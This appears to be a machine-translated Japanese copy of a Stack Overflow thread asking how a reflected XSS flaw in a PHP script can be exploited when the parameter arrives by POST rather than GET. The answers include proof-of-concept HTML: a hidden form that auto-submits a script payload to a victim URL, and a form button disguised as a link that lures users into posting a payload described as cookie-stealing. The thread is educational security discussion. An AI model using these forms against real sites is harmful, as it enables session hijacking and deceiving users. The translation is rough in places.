2010-11-27 1 views
2

この例を調べます。それはPHPにありますが、あなたがPHPを知らない場合に起こっていることを拾うことができるはずです。param echoがGETからPOSTに変更された場合、XSSを利用するために使用されるメソッドは何ですか?

echo 'You searched for "' . $_GET['q'] . '"'; 

私が要求した場合今、明らかに、これは、悪い考えです...

http://www.example.com/?q=<script type="text/javascript">alert('xss');</script> 

OK、今私は

echo 'You searched for "' . $_POST['q'] . '"'; 

...それはPOSTにGET変更URLのクエリ文字列は機能しません。

同じドメインポリシーのため、そこに投稿するのにAJAXを使用することはできません。私がを実行すると、ドメイン上でJavaScriptを実行すると、すでにセキュリティ上の問題が発生しています。

XSSに脆弱なサイトを経由して、ターゲットサイトに投稿してロードするフォームを追加することが考えられました(もちろん、これを行うウェブサイトに人がリダイレクトされます)。 )。これはCSRFの領域に入るようです。

したがって、2番目の例(POSTを使用)を悪用する方法は何ですか?

おかげ

答えて

3

ここにあなたの脆弱なコードのxss悪用があります。あなたが覚えているように、これはPOST based CSRFと同じ攻撃パターンです。この場合、私はフォームとしてPOSTリクエストを作成しています。フォームの最下部に.submit()を呼び出します。送信を呼び出すには、フォームに送信タイプがなければなりません。投稿リクエストは直ちに実行され、ページはリダイレクトされますので、目に見えないiframeでのエクスプロイトの投稿ベースのcsrfを実行することをおすすめします。

<html> 
    <form id=1 method="post" action="http://victim/vuln.php"> 
     <input type=hidden name="q" value="<script>alert(/xss/)</script>"> 
     <input type="submit"> 
    </form> 
</html> 
<script> 
    document.getElementById(1).submit();//remote root command execution! 
</script> 

私もsammy wormについて読んで推奨されており、他のexploits I have writtenに関するご質問をお気軽に。

+2

私はサミーのワームについての投稿を愛しています。私はそれを数年前に読んでいますが、今はずっと良くなっています。ルックを投稿してくれてありがとう、私は秘密裏にあなたが望むだろう:) – alex

+0

@alex私は助けてうれしい。あなたが私の注目を得るには、私の投稿の1つに返信を投稿してください。 – rook

+0

+1サミーのワームと面白い答えです。ある日、時間があれば、私はあなたの考えを聞いてみたいと思います/この質問の回答は具体的にセキュリティの観点を形成:http://stackoverflow.com/questions/5052607/cookies-vs-basic-auth –

3

私はこれを悪用するために必要となるすべては、汚染された「Q」のポスト変数を送信し、フォームをクリックし、ユーザーを取得することです。もし私がすべて厄介なような気がするなら、私はリンクのようなフォームボタンを作っています(あるいは、JavascriptでフォームPOSTに書かれたリンクさえ、Railsが3.0より前のlink_to_remoteのような仕組みのようなものです)。私は(彼はいくつかの無実のリンクをクリックだと考える)をクリックして、ユーザーを得ることができる場合、私はその後、彼の中にこだまします検索に任意のデータを投稿することができ、

<form id="nastyform" method="post" action="http://yoururl.com/search.php"> 
     <input type="submit" value="Click here for free kittens!"> 
     <input type="hidden" name="q" value="<script>alert('My nasty cookie-stealing Javascript')</script>" /> 
    </form> 
    <style> 
     #nastyform input { 
     border: 0; 
     background: #fff; 
     color: #00f; 
     padding: 0; 
     margin: 0; 
     cursor: pointer; 
     text-decoration: underline; 
     } 
    </style> 

このようなものを想像してみて私は彼のセッションをハイジャックすることも、他の厄介なことをやりたいこともできます。

投稿データは本質的にデータを取得するよりも安全ではありません。それは依然としてユーザーの入力であり、絶対に信頼できません。

CSRF攻撃は、ユーザーの許可なしにいくつかの正当なアクションが開始される攻撃の異なるクラスです。これには同じ種類のエントリベクトルがありますが、これは古典的なXSS攻撃であり、セッションへのアクセスや同様の損害を与える目的で、悪質なJavascriptをページに注入するように設計されています。

+0

あなたの答えをありがとう。*これはCSRFの領域に入っているようです。* POSTを利用するには、クエリ文字列を変更するだけでなく、クロスサイト攻撃が必要です(例のように)。 – alex

+0

実際、あなたが話しているXSS攻撃のタイプは、とにかくサイト間で開始されます。フィルタリングされていないデータをデータベースから読み込んで他のユーザーが参照できるようにページを構築していない限り、攻撃ベクトルは悪意を持って作成されたリンクからのエントリになります。 –

+0

閉鎖しているがシガーはない。 – rook

関連する問題